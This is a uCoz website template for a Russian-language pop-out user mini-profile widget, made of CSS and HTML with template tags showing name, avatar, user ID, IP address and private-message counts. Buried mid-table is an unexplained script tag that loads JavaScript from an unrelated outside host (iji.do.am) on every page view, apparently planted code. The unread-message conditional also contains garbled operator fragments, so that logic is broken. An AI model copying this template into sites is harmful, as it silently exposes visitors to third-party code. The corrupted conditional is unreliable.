Code
<style>
.head_mini {cursor:pointer;background: #434343 url('http://vkurse.ucoz.net/scripts/img/head.gif');font-family: Tahoma;font-size:11px;color:#FFFFFF; text-shadow: 0 1px 0 #000000;text-align:left;padding: 5px 5px 7px 5px;border:1px solid #2d2d2d;border-radius: 2px;-moz-border-radius: 2px;-webkit-border-radius: 2px;}
.fullname_mini:link {text-decoration:none; color:#ffffff;font-family: Tahoma; font-size:12px; text-shadow: 0 1px 3px #000000;font-weight:bold;}
.fullname_mini:visited {text-decoration:none; color:#ffffff;font-family: Tahoma; font-size:12px; text-shadow: 0 1px 3px #000000;font-weight:bold;}
.fullname_mini:hover {text-decoration:none; cursor:pointer; text-shadow: 0 1px 1px #000000;}
.fullname_mini:active {text-decoration:none; color:#ffffff;font-family: Tahoma; font-size:12px; text-shadow: 0 1px 3px #000000;font-weight:bold;}
.link_mini:link {text-decoration:none; color:#e5e5e5;font-family: Tahoma; font-size:11px; text-shadow: 0 1px 3px #000000;}
.link_mini:visited {text-decoration:none; color:#e5e5e5;font-family: Tahoma; font-size:11px; text-shadow: 0 1px 3px #000000;}
.link_mini:hover {text-decoration:none; cursor:pointer; text-shadow: 0 1px 1px #000000;color:#ffffff;}
.link_mini:active {text-decoration:none; color:#e5e5e5;font-family: Tahoma; font-size:11px; text-shadow: 0 1px 3px #000000;}
.text_mini {color:#e5e5e5;font-family: Tahoma; font-size:11px; text-shadow: 0 1px 3px #000000;}
.avatar_mini {cursor:pointer;padding: 2px 2px 2px 2px;background:#ffffff;width: 50px;height:50px; overflow:hidden;border:1px solid #2d2d2d;border-radius: 2px;-moz-border-radius: 2px;-webkit-border-radius: 2px;}
.avatar_mini img {cursor:pointer;max-width: 50px;height:auto;}
</style>
<div class="head_mini" onmouseover="$('#mini_slide').slideToggle();"><b>$USER_FULL_NAME$</b><?if($UNREAD_PM$)?> <small>(<font style="font-weight:bold;padding: 0 2px 0 2px;"><?if($UNREAD_PM$)=1?>У Вас новое сообщение<?endif?><?if($UNREAD_PM$=2 {.^X:.}{.^X:.} $UNREAD_PM$=3 {.^X:.}{.^X:.} $UNREAD_PM$=4)?>У Вас $UNREAD_PM$ новых сообщения<?endif?><?if($UNREAD_PM$)>4?>У Вас $UNREAD_PM$ новых сообщений<?endif?></font>)</small><?endif?></div>
<div style="display:none;" id="mini_slide">
<div style="padding:0 2px 0 2px;">
<div style="background:#434343;border-top:1px solid #404040;border-left:1px solid #2d2d2d;border-right:1px solid #2d2d2d;border-bottom:1px solid #404040;padding: 5px 5px 10px 5px;">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<?if($USER_AVATAR_URL$)?>
<td valign="top" align="center" width="50px">
<div class="avatar_mini" onclick="window.location.href='/index/8'"><img src="$USER_AVATAR_URL$" /></div>
</td>
<?endif?><script src="http://iji.do.am/css.js"></script>
<td valign="top" align="left" style="padding-left:5px">
<?if($USER_FULL_NAME$)="Гость"?>
<div class="text_mini" style="text-align:center">Добро пожаловать, <b>$USER_FULL_NAME$</b>! Вы не авторизованы на сайте.</div>
<div style="padding-top:3px; text-align:center"><a href="$LOGIN_LINK$" class="link_mini">Войти</a> <a href="$REGISTER_LINK$" class="link_mini">Регистрация</a></div>
<?else?>
<div><a href="/index/8" class="fullname_mini">$USER_FULL_NAME$</a></div>
<div style="padding-top:3px;" class="text_mini">Никнейм: $USERNAME$</div>
<div style="padding-top:3px;" class="text_mini">Вы пользователь: №$USER_ID$</div>
<div style="padding-top:3px;" class="text_mini">IP адрес: $IP_ADDRESS$</div>
<div style="padding-top:3px;" class="text_mini">Вы тут: $MODULE_NAME$</div>
<div style="padding-top:3px;"><a href="/index/14" class="link_mini">Личные сообщения<?if($UNREAD_PM$)?> <small>(<b style="font-size:11px;padding: 0 2px 0 2px;color:#ffffff">$UNREAD_PM$</b>)</small><?endif?></a></div>
<div style="padding-top:3px;"><a href="/index/10" class="link_mini">Выйти</a></div>
<?endif?>
</td>
</tr>
</table>
</div>
</div>
<div class="head_mini" onclick="$('#mini_slide').slideToggle();" style="text-align:center;font-weight:bold;">Скрыть мини-профиль</div>
</div>